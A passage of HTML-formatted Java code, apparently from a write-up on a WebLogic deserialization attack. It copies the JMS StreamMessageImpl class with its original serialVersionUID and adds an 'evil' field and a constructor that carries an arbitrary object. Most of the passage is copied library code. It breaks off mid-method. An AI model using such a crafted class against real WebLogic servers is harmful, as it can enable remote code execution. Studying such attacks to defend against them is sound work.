class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">long</span> serialVersionUID = <span class="code-snippet__number">7748687583664395357L</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> UNKNOWN_TYPECODE = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> BOOLEAN_TYPE = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> BYTE_TYPE = <span class="code-snippet__number">2</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> CHAR_TYPE = <span class="code-snippet__number">3</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> DOUBLE_TYPE = <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> FLOAT_TYPE = <span class="code-snippet__number">5</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> INT_TYPE = <span class="code-snippet__number">6</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> LONG_TYPE = <span class="code-snippet__number">7</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> SHORT_TYPE = <span class="code-snippet__number">8</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> STRING_UTF_TYPE = <span class="code-snippet__number">9</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> STRING_UTF32_TYPE = <span class="code-snippet__number">10</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> BYTES_TYPE = <span class="code-snippet__number">11</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span> NULL_TYPE = <span class="code-snippet__number">12</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> String[] TYPE_CODE_STRINGS = <span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;invalid type code&#34;</span>, <span class="code-snippet__string">&#34;boolean&#34;</span>, <span class="code-snippet__string">&#34;byte&#34;</span>, <span class="code-snippet__string">&#34;char&#34;</span>, <span class="code-snippet__string">&#34;double&#34;</span>, <span class="code-snippet__string">&#34;float&#34;</span>, <span class="code-snippet__string">&#34;integer&#34;</span>, <span class="code-snippet__string">&#34;long&#34;</span>, <span class="code-snippet__string">&#34;short&#34;</span>, <span class="code-snippet__string">&#34;String&#34;</span>, <span class="code-snippet__string">&#34;String&#34;</span>, <span class="code-snippet__string">&#34;byte array&#34;</span>, <span class="code-snippet__string">&#34;null object&#34;</span>};</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> String ERROR_MSG_SEGMENT = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">boolean</span> readingByteArray;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> available_bytes;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">transient</span> PayloadStream payload;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">transient</span> <span class="code-snippet__keyword">boolean</span> copyOnWrite;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">transient</span> BufferOutputStream bos;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">transient</span> BufferInputStream bis;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Object evil ;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">StreamMessageImpl</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">StreamMessageImpl</span><span class="code-snippet__params">(Object a)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.evil = a;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">StreamMessageImpl</span><span class="code-snippet__params">(StreamMessage var1)</span> <span class="code-snippet__keyword">throws</span> IOException, JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>(var1, (Destination)<span class="code-snippet__keyword">null</span>, (Destination)<span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">StreamMessageImpl</span><span class="code-snippet__params">(StreamMessage var1, Destination var2, Destination var3)</span> <span class="code-snippet__keyword">throws</span> IOException, JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>(var1, var2, var3);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!(var1 <span class="code-snippet__keyword">instanceof</span> StreamMessageImpl)) {</span></code><code><span class="code-snippet_outer">            var1.reset();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeObject(var1.readObject());</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (MessageEOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.reset();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.setPropertiesWritable(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span> <span class="code-snippet__title">getType</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">5</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">nullBody</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.payload = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.copyOnWrite = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.bis = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.bos = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.readingByteArray = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.available_bytes = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">putTypeBack</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">readPastEnd</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logReadPastEndLoggable().getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">readPastEnd3</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logReadPastEnd3Loggable(var1).getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">streamReadError</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logStreamReadErrorLoggable().getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">streamReadError</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logReadErrorLoggable(var1).getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">streamWriteError</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">streamWriteError</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logWriteErrorLoggable(var1).getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">streamConversionError</span><span class="code-snippet__params">(String var1, String var2)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> JMSClientExceptionLogger.logConversionErrorLoggable(var1, var2).getMessage();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">byte</span> <span class="code-snippet__title">readType</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.decompressMessageBody();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.checkReadable();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">11</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readByte();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (EOFException var2) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">0</span>), var2);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">0</span>), var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeType</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span> var1)</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.checkWritable();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeByte(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage(), var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">readBoolean</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readBoolean();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> Boolean.valueOf(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var2 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var2 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">1</span>)) + var2);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">10</span>), var3);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var4) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">10</span>), var4);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span> <span class="code-snippet__title">readByte</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readByte();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Byte.parseByte(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">2</span>)) + var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">20</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">20</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">short</span> <span class="code-snippet__title">readShort</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">short</span>)<span class="code-snippet__keyword">this</span>.bis.readByte();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var3 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var3 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> MessageFormatException(<span class="code-snippet__keyword">this</span>.streamConversionError(<span class="code-snippet__keyword">this</span>.typeCodeToString(var1), <span class="code-snippet__keyword">this</span>.typeCodeToString(<span class="code-snippet__number">8</span>)) + var3);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readShort();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">int</span> var2 = <span class="code-snippet__keyword">this</span>.bis.pos();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> Short.parseShort(<span class="code-snippet__keyword">this</span>.readStringInternal(var1));</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (NumberFormatException var4) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.gotoPos(var2);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.bis.unput();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> var4;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (EOFException var5) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.MessageEOFException(<span class="code-snippet__keyword">this</span>.readPastEnd3(<span class="code-snippet__number">40</span>), var5);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">40</span>), var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">char</span> <span class="code-snippet__title">readChar</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var1 = <span class="code-snippet__keyword">this</span>.readType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var1) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bis.readChar();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">12</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.putTypeBack();</span></code><code><span class="code-snippet_outer">                    String var2 = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.readingByteArray) {</span></code><code><span class="code-snippet_outer">                        var2 = <span class="code-snippet__string">&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage&#34;</span>;</span></code><code><span 